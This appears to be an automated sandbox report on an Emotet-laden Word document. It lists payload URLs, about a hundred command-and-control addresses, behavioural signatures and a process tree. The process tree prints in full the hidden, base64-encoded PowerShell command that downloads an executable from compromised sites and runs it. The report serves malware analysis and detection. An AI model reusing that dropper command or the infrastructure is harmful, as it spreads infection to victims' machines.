Analysis
-
max time kernel
30s -
resource
win10v191014 -
submitted
21-12-2019 02:38
General
Malware Config
Extracted
http://hanserefelektrik.com/wp-content/o0zEZ17669/
http://governessfilms.com/cgi-bin/gnbw2/
http://forming-a.com/mysql/0s53/
http://harbour-springs.webonlinepro.com/cgi-bin/pdviP01/
http://gomitra.com/aspnet_client/xkwsJj/
Extracted
emotet
177.180.115.224:80
177.242.21.126:80
190.210.236.139:80
144.217.117.207:8080
96.126.121.64:443
104.236.137.72:8080
85.234.143.94:8080
5.88.27.67:8080
37.187.6.63:8080
186.15.83.52:8080
201.213.32.59:80
97.81.12.153:80
178.79.163.131:8080
138.68.106.4:7080
217.199.160.224:8080
181.61.143.177:80
189.19.81.181:443
186.68.48.204:443
118.36.70.245:80
80.11.158.65:8080
68.187.160.28:443
116.48.138.115:80
190.161.180.184:80
200.123.183.137:443
159.203.204.126:8080
85.152.208.146:80
151.237.36.220:80
96.61.113.203:80
191.103.76.34:443
2.139.158.136:443
163.172.40.218:7080
83.248.141.198:80
46.101.212.195:8080
2.44.167.52:80
46.28.111.142:7080
142.93.114.137:8080
181.231.220.232:80
74.59.187.94:80
139.162.118.88:8080
93.67.154.252:443
203.25.159.3:8080
202.62.39.111:80
109.169.86.13:8080
142.127.57.63:8080
5.196.35.138:7080
37.120.185.153:443
96.38.234.10:80
83.165.78.227:80
181.198.203.45:443
2.45.112.134:80
110.170.65.146:80
112.218.134.227:80
190.146.131.105:8080
190.151.5.130:443
190.210.184.138:995
5.32.41.106:80
192.241.146.84:8080
114.109.179.60:80
68.183.190.199:8080
77.27.221.24:443
87.106.77.40:7080
91.74.175.46:80
203.130.0.69:80
91.83.93.124:7080
51.255.165.160:8080
93.148.252.90:80
212.71.237.140:8080
68.183.170.114:8080
58.171.38.26:80
79.7.114.1:80
91.205.215.57:7080
87.106.46.107:8080
14.160.93.230:80
104.131.58.132:8080
113.190.254.245:80
74.79.103.55:80
190.100.153.162:443
37.183.121.32:80
190.195.129.227:8090
190.186.164.23:80
91.204.163.19:8090
185.86.148.222:8080
69.163.33.84:8080
144.139.56.105:80
63.248.198.8:80
149.62.173.247:8080
220.255.57.31:80
62.75.160.178:8080
223.255.148.134:80
73.60.8.210:80
81.157.234.90:8080
72.29.55.174:80
91.191.206.60:443
187.188.166.192:8080
97.120.32.227:80
125.99.61.162:7080
2.42.173.240:80
113.61.76.239:80
185.160.212.3:80
165.228.195.93:80
181.10.204.106:80
45.50.177.164:80
181.36.42.205:443
200.58.83.179:80
111.125.71.22:8080
183.99.239.141:80
91.117.83.59:80
190.97.30.167:990
68.174.15.223:80
212.237.50.61:8080
200.119.11.118:443
77.55.211.77:8080
207.154.204.40:8080
175.114.178.83:443
179.159.198.70:80
212.253.82.142:443
190.6.193.152:8080
130.204.247.253:80
190.74.246.158:8080
219.75.66.103:80
62.75.143.100:7080
45.8.136.201:80
152.170.108.99:443
188.135.15.49:80
50.28.51.143:8080
93.144.226.57:80
86.42.166.147:80
Signatures
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 4528 Powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4528 wrote to memory of 4700 4528 Powershell.exe 79 PID 4700 wrote to memory of 3852 4700 275.exe 81 -
Executes dropped EXE 3 IoCs
pid Process 4700 275.exe 3852 275.exe 4304 deploygroup.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4924 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4924 WINWORD.EXE 4700 275.exe 3852 275.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4528 Powershell.exe -
Suspicious behavior: EmotetMutantsSpam 1 IoCs
pid Process 3852 275.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU -
Drops file in System32 directory 1 IoCs
description ioc Process File renamed C:\Users\Admin\275.exe => C:\Windows\SysWOW64\deploygroup.exe 275.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4924 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4528 300 Powershell.exe 74
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\1aadecae9e168d092eb93dbad3f0473f5c2c11233263ed2ace1269ae81743868.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
PID:4924
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABZAHgAcABmAHYAaQByAGwAawA9ACcARwBsAGsAYgBqAGMAagBxAHUAJwA7ACQAQQBnAGMAeQBiAGcAdABtAGwAbQBlAGMAIAA9ACAAJwAyADcANQAnADsAJABYAHMAcgBqAGwAbQBuAHQAdQByAD0AJwBaAGMAbAB3AGsAZABwAHYAdwBzAHUAdQBpACcAOwAkAEQAeAB4AHoAeQB3AHkAYwB4AHgAcwByAHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEEAZwBjAHkAYgBnAHQAbQBsAG0AZQBjACsAJwAuAGUAeABlACcAOwAkAEoAdQBsAG0AeQBzAGwAcwA9ACcAWgBnAHkAdwBtAGwAcABvACcAOwAkAEcAYQBnAHYAYwBrAG4AZgBmAGwAdwA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBFAHQALgB3AEUAYgBDAEwAaQBFAG4AdAA7ACQATABsAHoAdABsAG8AaQBrAGUAYwA9ACcAaAB0AHQAcAA6AC8ALwBoAGEAbgBzAGUAcgBlAGYAZQBsAGUAawB0AHIAaQBrAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbwAwAHoARQBaADEANwA2ADYAOQAvACoAaAB0AHQAcAA6AC8ALwBnAG8AdgBlAHIAbgBlAHMAcwBmAGkAbABtAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBnAG4AYgB3ADIALwAqAGgAdAB0AHAAOgAvAC8AZgBvAHIAbQBpAG4AZwAtAGEALgBjAG8AbQAvAG0AeQBzAHEAbAAvADAAcwA1ADMALwAqAGgAdAB0AHAAOgAvAC8AaABhAHIAYgBvAHUAcgAtAHMAcAByAGkAbgBnAHMALgB3AGUAYgBvAG4AbABpAG4AZQBwAHIAbwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHAAZAB2AGkAUAAwADEALwAqAGgAdAB0AHAAOgAvAC8AZwBvAG0AaQB0AHIAYQAuAGMAbwBtAC8AYQBzAHAAbgBlAHQAXwBjAGwAaQBlAG4AdAAvAHgAawB3AHMASgBqAC8AJwAuACIAUwBwAGwAYABJAFQAIgAoACcAKgAnACkAOwAkAEcAcQBuAGYAcQByAGsAcAA9ACcAWABhAGEAawBkAHoAaQBlAHoAZgBuAGsAeQAnADsAZgBvAHIAZQBhAGMAaAAoACQASQB5AGMAdABiAGoAcABoAG0AbwB2ACAAaQBuACAAJABMAGwAegB0AGwAbwBpAGsAZQBjACkAewB0AHIAeQB7ACQARwBhAGcAdgBjAGsAbgBmAGYAbAB3AC4AIgBkAGAATwB3AE4AbABvAGAAQQBEAEYASQBgAEwARQAiACgAJABJAHkAYwB0AGIAagBwAGgAbQBvAHYALAAgACQARAB4AHgAegB5AHcAeQBjAHgAeABzAHIAcgApADsAJABYAHIAeQBrAGgAZQBnAHcAagB2AD0AJwBGAHcAZwBpAHcAbwBvAGcAeQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAEQAeAB4AHoAeQB3AHkAYwB4AHgAcwByAHIAKQAuACIATABlAE4AYABnAGAAVABoACIAIAAtAGcAZQAgADIANAA3ADUAOAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAHIAVAAiACgAJABEAHgAeAB6AHkAdwB5AGMAeAB4AHMAcgByACkAOwAkAE4AYwBrAHAAZwBuAHcAcwB2AHUAcwBhAD0AJwBXAHQAcQBkAHEAcABsAHMAYwAnADsAYgByAGUAYQBrADsAJABYAHEAdgBqAGwAbQByAGQAZgB4AGUAdQA9ACcAVgB6AHoAbABsAGQAZwB4AHIAcgB1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFAAeABoAHUAegBjAHgAaQB4AGEAaQBqAD0AJwBXAGYAaAByAHoAegBuAHYAJwA=1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Process spawned unexpected child process
PID:4528 -
C:\Users\Admin\275.exe"C:\Users\Admin\275.exe"2⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4700 -
C:\Users\Admin\275.exe--b390b04e3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
PID:3852
-
-
-
C:\Windows\SysWOW64\deploygroup.exe"C:\Windows\SysWOW64\deploygroup.exe"1⤵
- Executes dropped EXE
PID:4304